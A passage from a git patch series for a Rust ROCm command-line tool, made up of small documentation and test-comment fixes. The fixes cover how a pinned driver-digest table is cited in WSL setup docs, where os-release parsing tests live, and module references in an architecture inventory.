[`runtime_uninstall.rs`](../apps/rocm/src/runtime_uninstall.rs); registry selection and manifest validation moved to [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs), which this module re-exports for the callers that import them from here. `RuntimesCommand` stayed in [`main.rs`](../apps/rocm/src/main.rs) (part of the `Command`/`Cli` clap definition, the same way `EnginesCommand` did in Phase 6a). `RuntimeActivationResult` is `pub(crate)`, read from [`update_cmd.rs`](../apps/rocm/src/update_cmd.rs)'s `apply_runtime_update`/`append_update_activate_summary`; `uninstall_runtime`, `should_remove_runtime_install_root` and `InstallRootDecision` (from `runtime_uninstall.rs`) and `ActiveRuntimeMarker` and `active_runtime_marker_path` (from `runtime_registry.rs`) are re-exported for [`storage.rs`](../apps/rocm/src/storage.rs) and `main.rs`; `recover_setup_runtime_registration`, `newest_installed_runtime_manifest` and `setup_runtime_paths` (from `runtime_adopt.rs`) and `normalize_path_for_compare` (from `runtime_registry.rs`) are re-exported for the modules that import them from here, such as [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs), [`engine_runtime_select.rs`](../apps/rocm/src/engine_runtime_select.rs) and [`examine_report_text.rs`](../apps/rocm/src/examine_report_text.rs). The dependency on the sibling [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs) above runs the other way: that module calls into this one (`activate_runtime`, `newest_installed_runtime_manifest`, `recover_setup_runtime_registration`), while this module reaches it only from its test module. - [`serve_cmd.rs`](../apps/rocm/src/serve_cmd.rs) — mechanical relocation, owns types (Phase 6a): `serve()`, plus engine-recipe overrides and the AIM pre-flight that runs inside it: the Hugging Face token check, the GPU-family profile check and pin, the multi-GPU refusal (`aim_gpu_preflight`), and AIM-aware default engine selection (`recipe_preferred_engine`). It also holds `collect_serve_notes`, the GPU/device warnings folded into the interactive summary, which was relocated here from `main.rs` with its two tests. - [`serve_summary.rs`](../apps/rocm/src/serve_summary.rs) — full domain extraction. - [`service_hints.rs`](../apps/rocm/src/service_hints.rs) — shared CLI-output component: the `rocm services stop|restart|remove --yes` hint text, shared by [`remote/mod.rs`](../apps/rocm/src/remote/mod.rs), [`serve_summary.rs`](../apps/rocm/src/serve_summary.rs), [`service_launch.rs`](../apps/rocm/src/service_launch.rs), [`service_records.rs`](../apps/rocm/src/service_records.rs), [`services_cmd.rs`](../apps/rocm/src/services_cmd.rs), and [`services_text.rs`](../apps/rocm/src/services_text.rs) so they cannot go out of sync with each other, as `serve_summary.rs`'s stop row did from the day it was added — #417. It also holds the helpers that map a service tool name to the command word, verb and past tense those hints and messages use (`service_action_command`, `service_action_verb`, `service_action_past_tense`) and to its `SandboxToolArg` (`sandbox_tool_arg_from_service_tool`); [`services_text.rs`](../apps/rocm/src/services_text.rs) reads `service_action_past_tense` from here rather than through the crate root. From 65c55d196d08c0cb85d830a05ac78dac03ba1051 Mon Sep 17 00:00:00 2001 From: Jussi Elo Date: Tue, 3 Nov 2026 10:41:22 +0000 Subject: [PATCH 08/12] docs(wsl): link the rocDXG digest table instead of citing its path The ROCDXG_PINNED_DIGESTS trust anchor moved to driver_plan/rocdxg.rs; cite it as a relative Markdown link so the docs-links check notices when it moves again. Signed-off-by: Jussi Elo --- docs/wsl.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/docs/wsl.md b/docs/wsl.md index e1194a247c..214bb4e7f2 100644 --- a/docs/wsl.md +++ b/docs/wsl.md @@ -83,7 +83,8 @@ The equivalent manual steps, for reference or for a host where the CLI is not installed yet. Do not skip the `sha256sum -c` line, because `apt install` runs the package's maintainer scripts as root. `rocm install driver` checks the download against a digest pinned in the ROCm CLI source -(`ROCDXG_PINNED_DIGESTS` in `apps/rocm/src/driver_plan/rocdxg.rs`), which also +(`ROCDXG_PINNED_DIGESTS` in +[rocdxg.rs](../apps/rocm/src/driver_plan/rocdxg.rs)), which also catches a replaced release asset. A digest read from the release page at install time catches only a corrupted download. For a version listed in `ROCDXG_PINNED_DIGESTS`, use the pinned digest. Set `ROCDXG_VERSION` to the From ae6ee47899ca8e99baec687ebceda992c0d1243e Mon Sep 17 00:00:00 2001 From: Jussi Elo Date: Tue, 3 Nov 2026 11:05:25 +0000 Subject: [PATCH 09/12] docs(wsl): cite the rocDXG digest table as a path again docs/wsl.md is included into the Sphinx site, where a link to a file outside docs/ cannot be resolved and fails the -W build. A bare path is the form that file can carry. Signed-off-by: Jussi Elo --- docs/wsl.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/docs/wsl.md b/docs/wsl.md index 214bb4e7f2..e1194a247c 100644 --- a/docs/wsl.md +++ b/docs/wsl.md @@ -83,8 +83,7 @@ The equivalent manual steps, for reference or for a host where the CLI is not installed yet. Do not skip the `sha256sum -c` line, because `apt install` runs the package's maintainer scripts as root. `rocm install driver` checks the download against a digest pinned in the ROCm CLI source -(`ROCDXG_PINNED_DIGESTS` in -[rocdxg.rs](../apps/rocm/src/driver_plan/rocdxg.rs)), which also +(`ROCDXG_PINNED_DIGESTS` in `apps/rocm/src/driver_plan/rocdxg.rs`), which also catches a replaced release asset. A digest read from the release page at install time catches only a corrupted download. For a version listed in `ROCDXG_PINNED_DIGESTS`, use the pinned digest. Set `ROCDXG_VERSION` to the From f3a2600e4ab06fbfe8b2de83c1eda53ff5bafa14 Mon Sep 17 00:00:00 2001 From: Jussi Elo Date: Tue, 3 Nov 2026 11:31:12 +0000 Subject: [PATCH 10/12] test(e2e): name both files in the examine.feature os-release note real_os_release and its simulated-root test live in system_packages.rs; the plan-builder tests live in driver_plan.rs. The comment now points at each. Signed-off-by: Jussi Elo --- tests/e2e-cucumber/features/examine.feature | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/tests/e2e-cucumber/features/examine.feature b/tests/e2e-cucumber/features/examine.feature index e666fbee68..d5f7218782 100644 --- a/tests/e2e-cucumber/features/examine.feature +++ b/tests/e2e-cucumber/features/examine.feature @@ -282,8 +282,10 @@ Feature: GPU detection and system inspection # `cargo xtask e2e` and every prebuilt full-suite lane use), so they describe a # machine other than the runner. The driver plan cannot be exercised this way: # `rocm install driver` builds a plan that runs against the real machine, so it - # deliberately reads the real `/etc/os-release` (see `real_os_release`); its - # parsing is covered by the unit tests in `driver_plan.rs`. + # deliberately reads the real `/etc/os-release` (`real_os_release` in + # `system_packages.rs`, whose test there pins that it ignores a simulated + # host root); the plan built from it is covered by the unit tests in + # `driver_plan.rs`. # # The planted distributions are ones no CI runner or developer host here runs, # so a probe that read the real file instead would report a different one. From 0a1672eb574f64a48e80e1703e56a5a072f5fb46 Mon Sep 17 00:00:00 2001 From: Jussi Elo Date: Tue, 3 Nov 2026 11:48:50 +0000 Subject: [PATCH 11/12] docs(rocm): follow the driver plan tests to driver_plan.rs in architecture.md Four architecture.md bullets still named driver_install.rs for things the split moved (the chat.rs and freeform_planner.rs test consumers, the truthy_env consumer), and the runtime_adopt.rs bullet called three pub(crate) functions private. The EAI-7406 note about ID_LIKE matching moves with the tests it describes. Signed-off-by: Jussi Elo --- apps/rocm/src/driver_install.rs | 5 ----- apps/rocm/src/driver_plan.rs | 5 +++++ docs/architecture.md | 8 ++++---- 3 files changed, 9 insertions(+), 9 deletions(-) diff --git a/apps/rocm/src/driver_install.rs b/apps/rocm/src/driver_install.rs index 9df7203f1f..5b72cf7728 100644 --- a/apps/rocm/src/driver_install.rs +++ b/apps/rocm/src/driver_install.rs @@ -852,9 +852,4 @@ mod tests { assert!(!should_execute(&mutating, false, false)); assert!(!should_execute(&mutating, true, true)); } - - // EAI-7406: distro selection must honor `/etc/os-release` `ID_LIKE`, so that - // Debian/Ubuntu-family and RHEL-rebuild derivatives that share their base - // version scheme are matched to the correct apt (`ubuntu/`) or EL - // (`el/`) plan instead of falling through to the unsupported plan. } diff --git a/apps/rocm/src/driver_plan.rs b/apps/rocm/src/driver_plan.rs index b97cea34bb..32abf9dedb 100644 --- a/apps/rocm/src/driver_plan.rs +++ b/apps/rocm/src/driver_plan.rs @@ -3074,6 +3074,11 @@ VERSION_ID="41" assert!(render_driver_install_plan(&bare_metal, false, false).contains("post_reboot")); } + // EAI-7406: distro selection must honor `/etc/os-release` `ID_LIKE`, so that + // Debian/Ubuntu-family and RHEL-rebuild derivatives that share their base + // version scheme are matched to the correct apt (`ubuntu/`) or EL + // (`el/`) plan instead of falling through to the unsupported plan. + #[test] fn driver_plan_ubuntu_derivative_via_id_like_matches_ubuntu_plan() { let _env = ScopedTestEnv::with_amd_overrides_cleared(); diff --git a/docs/architecture.md b/docs/architecture.md index 8f0eb878ae..1d9cc55e22 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -32,7 +32,7 @@ Each per-crate module inventory lists one file per line. Flat inventories (every - [`automations.rs`](../apps/rocm/src/automations.rs) — mechanical relocation, owns private types (Phase 6f, ROCMAI-210): the `rocm automations` dispatch handler (`automations()`) plus the `rocm automations` status report it prints (`render_automations_text`), the `ProposalKind` classification that report renders through (`proposal_kind`, `fallback_tool_for_automation_action`, `proposal_plain_summary`, `proposal_plain_reason`), the small plain-language label helpers (`proposal_status_label`, `proposal_bool_argument`, `automation_event_plain_summary`, `audit_event_plain_summary`, `watcher_mode_plain_label`, `watcher_last_check`, `watcher_plain_name`, `watcher_plain_trigger`, `watcher_plain_action`, `watcher_policy_note`), and the unrelated `rocm daemon --status` summary (`render_daemon_text`). `render_automations_text` and `render_daemon_text` are `pub(crate)`: [`main.rs`](../apps/rocm/src/main.rs)'s `dispatch()` calls `render_daemon_text` directly (re-imported alongside `automations` via `use crate::automations::{automations, render_daemon_text};`; `render_automations_text` has no `dispatch()` call site of its own, reached only through `automations()` above, now local to this file), and [`chat.rs`](../apps/rocm/src/chat.rs)'s deterministic tool summaries call both. Every other item in this list, including `watcher_policy_note` (called from `automations()`'s `Enable` arm and from `render_automations_text`, both in this same file), has no caller outside this module and stays private. The cluster's regression tests live in this module's own `mod tests`, reaching the shared `test_paths` fixture through `crate::tests::` the same way other mechanically relocated modules do. - [`bootstrap.rs`](../apps/rocm/src/bootstrap.rs) — a further-extracted variant of full domain extraction: it owns its clap command enum (`BootstrapCommand`) and dispatch function too, rather than leaving them in [`main.rs`](../apps/rocm/src/main.rs). - [`bridge_snapshot.rs`](../apps/rocm/src/bridge_snapshot.rs) — mechanical relocation, no owned types: the host snapshot behind the internal bridge surface (`build_codex_bridge_snapshot`, `build_codex_bridge_gpu_snapshot`, `builtin_codex_bridge_engine_inventory`) and the table of built-in engine ids it derives the engine list from (`builtin_engine_inventory`, a separate table from `main.rs`'s `engine_inventory`; the two are not merged). All four are `pub(crate)`: [`main.rs`](../apps/rocm/src/main.rs)'s `dispatch()` calls `build_codex_bridge_snapshot` through a re-import, [`chat.rs`](../apps/rocm/src/chat.rs)'s internal MCP tools reach the first three as `crate::` through the same re-import, and a `main.rs` test checks `--engine`'s help against `builtin_engine_inventory`. It has no tests of its own. -- [`chat.rs`](../apps/rocm/src/chat.rs) — full domain extraction (Phase 6d, ROCMAI-88), mirrors [`providers.rs`](../apps/rocm/src/providers.rs). Owns the chat/MCP-bridge cluster's types (`ChatRocmCommandAction`, `DeterministicModelRecipe`, `DeterministicServiceRow`, `DeterministicEngineRow`, and others — all module-private except `ChatToolApprovalRequest`, reached by `dash_seam.rs` as `chat_tool_approval_request`'s return type, and `ChatRocmCommandAction`, read by `driver_install.rs`'s test module), its validation/approval/execution logic (`validate_chat_tool_call` and the `validate_chat_*_tool_call` family), deterministic tool-output summarization (including `render_services_tool_result_text`), and the MCP tool-bridge entry points (`run_internal_mcp_call` and its helpers). Callers in other modules, production and test-only, reach it through the `chat::` module boundary. As a child module of the crate root (`mod chat;` in `main.rs`), Rust's module-privacy rule already makes most of `main.rs`'s private helpers visible to `chat.rs` without any visibility change, when `chat.rs` calls into `main.rs`. The other direction needs real widening: `chat.rs`'s own functions reached from other modules — `run_internal_mcp_call` (a production call from `main.rs`), `rocm_chat_tool_requested_args` (reached only by `runtime_install_finalize.rs`'s own test module), among others — stay `pub(crate)`; the third PR's visibility audit tightened every other function to module-private, so each function still `pub(crate)` has a confirmed external caller, production or test-only. The cluster's regression tests live in `chat.rs`'s own `mod tests`, moved out of `main.rs`'s shared `mod tests` block across the second and third PRs; `serve_negative_sampling_space_form_reaches_range_validator`, a shared clap value-parser wiring test living alongside its sibling command-parsing tests, stays in `main.rs`; the four structural checks that read [`chat_cmd.rs`](../apps/rocm/src/chat_cmd.rs)'s source for the `Command::Chat` handler's wiring (`command_chat_interactive_routes_to_dash_run_chat_not_tui`, `command_chat_interactive_notes_dropped_provider_flag`, `command_chat_honors_chat_mock_and_keeps_prompt_passthrough`, `command_chat_reads_prompt_from_piped_stdin`) live in that module's own `mod tests`. +- [`chat.rs`](../apps/rocm/src/chat.rs) — full domain extraction (Phase 6d, ROCMAI-88), mirrors [`providers.rs`](../apps/rocm/src/providers.rs). Owns the chat/MCP-bridge cluster's types (`ChatRocmCommandAction`, `DeterministicModelRecipe`, `DeterministicServiceRow`, `DeterministicEngineRow`, and others — all module-private except `ChatToolApprovalRequest`, reached by `dash_seam.rs` as `chat_tool_approval_request`'s return type, and `ChatRocmCommandAction`, read by `driver_plan.rs`'s test module), its validation/approval/execution logic (`validate_chat_tool_call` and the `validate_chat_*_tool_call` family), deterministic tool-output summarization (including `render_services_tool_result_text`), and the MCP tool-bridge entry points (`run_internal_mcp_call` and its helpers). Callers in other modules, production and test-only, reach it through the `chat::` module boundary. As a child module of the crate root (`mod chat;` in `main.rs`), Rust's module-privacy rule already makes most of `main.rs`'s private helpers visible to `chat.rs` without any visibility change, when `chat.rs` calls into `main.rs`. The other direction needs real widening: `chat.rs`'s own functions reached from other modules — `run_internal_mcp_call` (a production call from `main.rs`), `rocm_chat_tool_requested_args` (reached only by `runtime_install_finalize.rs`'s own test module), among others — stay `pub(crate)`; the third PR's visibility audit tightened every other function to module-private, so each function still `pub(crate)` has a confirmed external caller, production or test-only. The cluster's regression tests live in `chat.rs`'s own `mod tests`, moved out of `main.rs`'s shared `mod tests` block across the second and third PRs; `serve_negative_sampling_space_form_reaches_range_validator`, a shared clap value-parser wiring test living alongside its sibling command-parsing tests, stays in `main.rs`; the four structural checks that read [`chat_cmd.rs`](../apps/rocm/src/chat_cmd.rs)'s source for the `Command::Chat` handler's wiring (`command_chat_interactive_routes_to_dash_run_chat_not_tui`, `command_chat_interactive_notes_dropped_provider_flag`, `command_chat_honors_chat_mock_and_keeps_prompt_passthrough`, `command_chat_reads_prompt_from_piped_stdin`) live in that module's own `mod tests`. - [`chat_cmd.rs`](../apps/rocm/src/chat_cmd.rs) — mechanical relocation, dispatch-adjacent, no owned types: `rocm chat`'s command handler (`run_chat_command`, the body of the `Command::Chat` arm of `dispatch()`), which hands off to the dashboard chat (`dash::run_chat`) in a terminal with no `--prompt` and otherwise prints the reply or status screen through `chat::render_chat_prompt_text`/`chat::render_chat_text`. It is a module of its own, not part of [`chat.rs`](../apps/rocm/src/chat.rs), because it calls into both `chat.rs` and [`dash.rs`](../apps/rocm/src/dash.rs) while `dash.rs` already calls into `chat.rs`; this module depends on both and neither depends on it. `Provider` and `ChatInferenceParams` stay in [`main.rs`](../apps/rocm/src/main.rs); `run_chat_command` is `pub(crate)` and re-imported there for `dispatch()`. Four source-text tests in this module's own `mod tests` read this file and assert on the handler's text, so a rename of the function or of the calls they look for has to be made there too. - [`chat_host_facts.rs`](../apps/rocm/src/chat_host_facts.rs) — full domain extraction. - [`cli_audit.rs`](../apps/rocm/src/cli_audit.rs) — mechanical relocation, no owned types: the CLI audit and lifecycle log (`record_cli_audit_event`, plus the helpers behind it that write `logs/cli-lifecycle.log` and the per-action files under `logs/cli/`). Its production code depends only on `rocm-core`. `record_cli_audit_event`, `cli_lifecycle_log_path` and `sanitize_log_value` are `pub(crate)` and reached from other modules as `crate::` through a re-import in [`main.rs`](../apps/rocm/src/main.rs); every other item is private. The two regression tests live in this module's own `mod tests`, reaching the shared `test_paths` fixture through `crate::tests::`. @@ -54,7 +54,7 @@ Each per-crate module inventory lists one file per line. Flat inventories (every - [`examine_report_text.rs`](../apps/rocm/src/examine_report_text.rs) — mechanical relocation (Phase 6f, ROCMAI-208, folding Phase 6f/ROCMAI-86 closed): the launch-summary/examine text surfaces (`render_launch_summary`, `render_examine_text`, `render_examine_text_with_paths`, `examine_human_report`, `render_examine_plain_header`, `plain_status_label`), the engine-inventory listing shared by `rocm engines` and `rocm examine` (`write_default_engine_legend`, `render_engine_inventory_text_with_paths`, `append_examine_runtime_state`, `append_examine_engine_inventory`), and the model-catalog rendering behind `rocm model` (alias `models`) and `rocm model --verbose` (`model_catalog_platform_heading`, `render_model_registry_text_with_context_and_host`, `model_recipe_memory_label`, `model_recipe_gpu_fit_label`, `render_model_registry_verbose_text_with_context_and_host`, `model_catalog_header`, `append_model_recipe_registry_source`, `append_model_recipe_metadata_lines`, `append_model_engine_recipe_settings_lines`, `format_list_or_none`, `format_string_map_or_none`, `append_model_artifact_lines`, `append_artifact_source_policy_lines`, `artifact_source_policy_label`, `format_bytes`, `append_model_host_ram_fit_lines`, `append_model_fit_lines`, `append_manual_alternative_lines`, `manual_alternative_recommendations`, `recipe_is_manual_fit`, `append_model_engine_support_lines`, `recipe_display_ref`, `preferred_engine_action_target`, `model_registry_reason`, `format_gib`, `append_engine_detect_summary`, `friendly_engine_runtime_kind`, `friendly_engine_detect_notes`, `friendly_engine_detect_note_fallback`, `engine_runtime_status_label`, `engine_runtime_is_native_windows_unsupported`). Two items physically interleaved in this span in `main.rs` moved with it rather than staying behind, since neither has a caller outside this cluster: the `DEFAULT_ENGINE_MARKER` constant (shared by both engine-inventory renderers so the two copies cannot drift apart) and `model_registry_adapter_availability_note` (read only from `append_model_engine_support_lines` and this module's own test); both stay private. `render_config_text` and `telemetry_policy_summary` sat immediately adjacent to this cluster's end boundary in `main.rs` and were explicitly out of scope, so that split left them where they were; they now live in [`config_cmd.rs`](../apps/rocm/src/config_cmd.rs). `dispatch()` calls directly into this module at two points — `render_model_registry_verbose_text_with_context_and_host` and `render_model_registry_text_with_context_and_host` — re-imported via `use crate::examine_report_text::{...};`; [`examine_cmd.rs`](../apps/rocm/src/examine_cmd.rs)'s `examine()`, which the `Command::Examine` arm calls, imports and calls `examine_human_report` itself. `main.rs`'s own `launch_default` calls `render_launch_summary` directly, also re-imported there. `render_examine_text`, `render_examine_text_with_paths`, and `render_model_registry_verbose_text_with_context_and_host` are also `pub(crate)`, read from [`chat.rs`](../apps/rocm/src/chat.rs)'s deterministic tool-output summaries; `render_engine_inventory_text_with_paths` is also read from `chat.rs` and from `engines_cmd.rs`'s `render_engine_inventory_text`; `append_examine_runtime_state` is also `pub(crate)`, read only from [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs)'s own test module, so `main.rs`'s re-import of it is itself `#[cfg(test)]` rather than carrying an otherwise-unused import into a non-test build; `format_bytes` is also `pub(crate)`, read from [`storage.rs`](../apps/rocm/src/storage.rs)'s cache-size reporting and [`automations.rs`](../apps/rocm/src/automations.rs)'s plain-language summaries. Every other item in this list has no caller outside this module and stays private. This cluster also reaches three items that stayed behind in `main.rs` because they already had callers outside it: `engine_inventory()` (also read from [`update_cmd.rs`](../apps/rocm/src/update_cmd.rs)), `engine_ruled_out_by_platform` (also read from [`model_fit.rs`](../apps/rocm/src/model_fit.rs)'s `assess_model_for_host`; it has since moved there and is re-imported in `main.rs`), and `missing_packaged_engine_reason` (already noted in [`engine_ipc.rs`](../apps/rocm/src/engine_ipc.rs)'s entry above as having callers outside that cluster, plus its own test — this cluster is one of them) — all three reached via `use crate::{...};`. The cluster's regression tests live in this module's own `mod tests`, reaching the shared `test_paths` fixture through `crate::tests::` and `write_test_pip_runtime`/`runtime_manifest_path` through `crate::test_support::`/`crate::runtimes_cmd::`, the same way other mechanically relocated modules do. Two tests interleaved among this cluster's tests in `main.rs`'s old shared `mod tests` stayed behind because their primary subject is unrelated: `missing_packaged_engine_reason`'s own test and the whole-command-tree ASCII-help walk (two CLI-lifecycle-audit-log tests that were also left there have since moved to [`cli_audit.rs`](../apps/rocm/src/cli_audit.rs)). - [`freeform_answer.rs`](../apps/rocm/src/freeform_answer.rs) — mechanical relocation, no owned types: the answers a freeform request can get without running a command — `render_freeform_read_only_answer`, which answers a single approval-free `examine`, `comfyui status` or `comfyui logs` action, and `render_freeform_examine_answer`, the plain-language ROCm status it prints for `examine`. `run_freeform` in [`main.rs`](../apps/rocm/src/main.rs) is the only caller of the first, which is `pub(crate)` and re-imported there; the second is private. Besides `chat.rs` (`any_substring`), it depends on `comfyui.rs`, `runtimes_cmd.rs` and `therock.rs`, none of which calls back into it. No unit test calls either function directly. - [`freeform_execution.rs`](../apps/rocm/src/freeform_execution.rs) — mechanical relocation, dispatch-adjacent, owns a `pub(crate)` type (as of Phase 6e's follow-up, ROCMAI-726; see the Phase 6a variant note above for the owned-types pattern). Holds the freeform natural-language planner's plan-*execution*/consent half that [`freeform_planner.rs`](../apps/rocm/src/freeform_planner.rs) below deliberately left out: `validate_freeform_execution_action()`, `prepare_freeform_execution()`, `apply_freeform_execution_consent()`, `render_freeform_execution_header()`, and the `pub(crate)` `FreeformExecution` struct that `prepare_freeform_execution` returns and `render_freeform_execution_header` consumes. `main.rs`'s `execute_freeform_next_action()` and `run_freeform()` stay in `main.rs` — both are dispatch-level, not part of deciding whether a plan's next action is safe to execute — and `execute_freeform_next_action()` calls in via the unqualified re-import `use crate::freeform_execution::{prepare_freeform_execution, render_freeform_execution_header};` (`run_freeform()` only calls `execute_freeform_next_action()`, never this module directly), matching [`driver_install.rs`](../apps/rocm/src/driver_install.rs)'s dispatch-adjacent form rather than `freeform_planner.rs`'s own qualified-path form. `prepare_freeform_execution` takes the already-built `plan` by value rather than rebuilding it from `request`/`paths`/`config` (ROCMAI-725's single-build guarantee, inherited unchanged from `main.rs`); `prepare_freeform_execution`/`render_freeform_execution_header` are `pub(crate)` for that cross-module call; `FreeformExecution` was already `pub(crate)` (read directly by `main.rs` and this module's own tests); `validate_freeform_execution_action`/`apply_freeform_execution_consent` have no caller outside this module and stay module-private, unchanged from before the move. The cluster's six regression tests moved out of `main.rs`'s shared `mod tests` into this module's own `mod tests`, inheriting the qualified `freeform_planner::` path they already used to reach `freeform_planner.rs`'s items as `main.rs`'s former tests — this module reaches in from outside using the same qualified path `main.rs` and `providers.rs`'s tests use (unlike `chat.rs`/`comfyui.rs`, which import it unqualified). -- [`freeform_planner.rs`](../apps/rocm/src/freeform_planner.rs) — full domain extraction (Phase 6e, ROCMAI-87). Owns the freeform natural-language planner cluster's types (`StructuredRequestPlan`, `PlannerIntent`, `PlannedToolCall`, `FreeformPlanAction`, `ProviderPlannerResponse`, `ProviderPlannerToolCall`, all module-private except `FreeformPlanAction`, `StructuredRequestPlan` and `PlannedToolCall`, which are `pub(crate)`), the deterministic plan builder (`build_freeform_plan*`), the provider-assisted path (`resolve_freeform_plan_with_provider`, `build_provider_planner_prompt`, `provider_planner_response_to_plan`, `validate_provider_planner_tool_call`), and plan rendering (`render_structured_request_plan`). [`main.rs`](../apps/rocm/src/main.rs) calls `build_freeform_plan_with_context`/`render_structured_request_plan` directly for the dispatch/review flow ([`examine_report_text.rs`](../apps/rocm/src/examine_report_text.rs)'s `render_launch_summary` → `host_default_engine` is another call into this module, unrelated to planning: bare `rocm`'s non-interactive launch summary), while [`freeform_execution.rs`](../apps/rocm/src/freeform_execution.rs) above calls `plan_next_action`/`format_structured_tool_call` for the execution flow and reads `FreeformPlanAction`/`StructuredRequestPlan` by type for its execution-validation functions — those live there, not here, because they decide whether a plan's next action is safe to *execute*, a dispatch-adjacent concern distinct from *building* the plan; `main.rs`'s `run_freeform` builds a plan exactly once via `build_freeform_plan_with_context` and threads that same value through `execute_freeform_next_action` to `prepare_freeform_execution` rather than rebuilding it (ROCMAI-725: building a plan can call a configured cloud `planner_provider`, which is not guaranteed deterministic, so a second independent build could silently disagree with the first). [`chat.rs`](../apps/rocm/src/chat.rs)'s `natural_language_plan` MCP tool gets the same single-build guarantee from `plan_freeform_request_with_context`, which builds once and returns both the rendered text and the next action; `chat.rs` also calls `format_structured_tool_call` directly, like [`comfyui.rs`](../apps/rocm/src/comfyui.rs) does, and its `validate_chat_rocm_command_safety` reads `serve_args_request_cpu_device` directly as a no-CPU-fallback safety check on provider-proposed `serve` args. `host_default_engine`, `build_freeform_plan_with_context`, `render_structured_request_plan`, `plan_next_action`, `plan_freeform_request_with_context`, `provider_planner_response_to_plan`, `format_structured_tool_call`, and `serve_args_request_cpu_device` are `pub(crate)` for these reasons, as are `infer_engine_from_request` (read from `chat.rs`) and `plan_driver_request` (read from [`driver_install.rs`](../apps/rocm/src/driver_install.rs)'s test module); `freeform_plan_next_action` and `render_freeform_plan` are test-only (`#[cfg(test)]`) and `FreeformPlanAction` was already `pub(crate)` before the split. `parse_freeform_invocation`/`should_treat_as_freeform` (deciding whether an invocation is freeform at all) stay in `main.rs`, a dispatch-level concern outside both this module and `freeform_execution.rs`. The cluster's regression tests live in `freeform_planner.rs`'s own `mod tests`; the handful of `main.rs` tests that exercise the invocation classifier/clap-suggestion-avoidance stay in `main.rs`'s shared `mod tests`, since neither is specific to this module or to `freeform_execution.rs` (and neither touches `freeform_planner::` at all), and the ROCMAI-725 regression tests proving the single-build guarantee live in `providers.rs`'s `mod tests` (reusing its mock local-provider server), reaching this module's items through the qualified `freeform_planner::` path like any other external caller. +- [`freeform_planner.rs`](../apps/rocm/src/freeform_planner.rs) — full domain extraction (Phase 6e, ROCMAI-87). Owns the freeform natural-language planner cluster's types (`StructuredRequestPlan`, `PlannerIntent`, `PlannedToolCall`, `FreeformPlanAction`, `ProviderPlannerResponse`, `ProviderPlannerToolCall`, all module-private except `FreeformPlanAction`, `StructuredRequestPlan` and `PlannedToolCall`, which are `pub(crate)`), the deterministic plan builder (`build_freeform_plan*`), the provider-assisted path (`resolve_freeform_plan_with_provider`, `build_provider_planner_prompt`, `provider_planner_response_to_plan`, `validate_provider_planner_tool_call`), and plan rendering (`render_structured_request_plan`). [`main.rs`](../apps/rocm/src/main.rs) calls `build_freeform_plan_with_context`/`render_structured_request_plan` directly for the dispatch/review flow ([`examine_report_text.rs`](../apps/rocm/src/examine_report_text.rs)'s `render_launch_summary` → `host_default_engine` is another call into this module, unrelated to planning: bare `rocm`'s non-interactive launch summary), while [`freeform_execution.rs`](../apps/rocm/src/freeform_execution.rs) above calls `plan_next_action`/`format_structured_tool_call` for the execution flow and reads `FreeformPlanAction`/`StructuredRequestPlan` by type for its execution-validation functions — those live there, not here, because they decide whether a plan's next action is safe to *execute*, a dispatch-adjacent concern distinct from *building* the plan; `main.rs`'s `run_freeform` builds a plan exactly once via `build_freeform_plan_with_context` and threads that same value through `execute_freeform_next_action` to `prepare_freeform_execution` rather than rebuilding it (ROCMAI-725: building a plan can call a configured cloud `planner_provider`, which is not guaranteed deterministic, so a second independent build could silently disagree with the first). [`chat.rs`](../apps/rocm/src/chat.rs)'s `natural_language_plan` MCP tool gets the same single-build guarantee from `plan_freeform_request_with_context`, which builds once and returns both the rendered text and the next action; `chat.rs` also calls `format_structured_tool_call` directly, like [`comfyui.rs`](../apps/rocm/src/comfyui.rs) does, and its `validate_chat_rocm_command_safety` reads `serve_args_request_cpu_device` directly as a no-CPU-fallback safety check on provider-proposed `serve` args. `host_default_engine`, `build_freeform_plan_with_context`, `render_structured_request_plan`, `plan_next_action`, `plan_freeform_request_with_context`, `provider_planner_response_to_plan`, `format_structured_tool_call`, and `serve_args_request_cpu_device` are `pub(crate)` for these reasons, as are `infer_engine_from_request` (read from `chat.rs`) and `plan_driver_request` (read from [`driver_plan.rs`](../apps/rocm/src/driver_plan.rs)'s test module); `freeform_plan_next_action` and `render_freeform_plan` are test-only (`#[cfg(test)]`) and `FreeformPlanAction` was already `pub(crate)` before the split. `parse_freeform_invocation`/`should_treat_as_freeform` (deciding whether an invocation is freeform at all) stay in `main.rs`, a dispatch-level concern outside both this module and `freeform_execution.rs`. The cluster's regression tests live in `freeform_planner.rs`'s own `mod tests`; the handful of `main.rs` tests that exercise the invocation classifier/clap-suggestion-avoidance stay in `main.rs`'s shared `mod tests`, since neither is specific to this module or to `freeform_execution.rs` (and neither touches `freeform_planner::` at all), and the ROCMAI-725 regression tests proving the single-build guarantee live in `providers.rs`'s `mod tests` (reusing its mock local-provider server), reaching this module's items through the qualified `freeform_planner::` path like any other external caller. - [`gpu_policy.rs`](../apps/rocm/src/gpu_policy.rs) — mechanical relocation, owns types (Phase 6f, ROCMAI-214): `--device`/`--gpu` parsing (`parse_device_policy`, `parse_gpu_selection`, `parse_gpu_indices_arg`), the managed-launch-lock GPU selection (`select_gpu_indices_under_launch_lock`, `validate_pinned_gpu_index`, `effective_gpu_count`, `auto_select_gpu_indices`, `select_auto_gpu_index`, `busy_gpu_indices`), per-GPU VRAM telemetry (the `GpuVramUsage` type, `gpu_vram_usage`, `simulated_low_vram_usage`, `gpu_vram_usage_amd_smi`, `gpu_vram_usage_sysfs`, `read_drm_vram_usage`, `read_sysfs_u64`, `drm_device_is_amd`, `parse_gpu_vram_usage`), and the serve-plan low-VRAM warning (`gpu_low_memory_warning`, `vram_capacity_is_meaningful`, `serve_gpu_low_memory_warning`), plus the best-effort `amd-smi`-based GPU count (`detect_gpu_count`). `const fn device_policy_name` sits immediately after this cluster's last function in the original file but stayed in `main.rs` rather than moving — it already had callers outside the cluster (`engine_ipc.rs`, `service_launch.rs`, `serve_cmd.rs`) plus its own test. `GpuVramUsage` (and its fields), `gpu_vram_usage`, `parse_gpu_indices_arg`, `serve_gpu_low_memory_warning`, and `vram_capacity_is_meaningful` are `pub(crate)` and read from 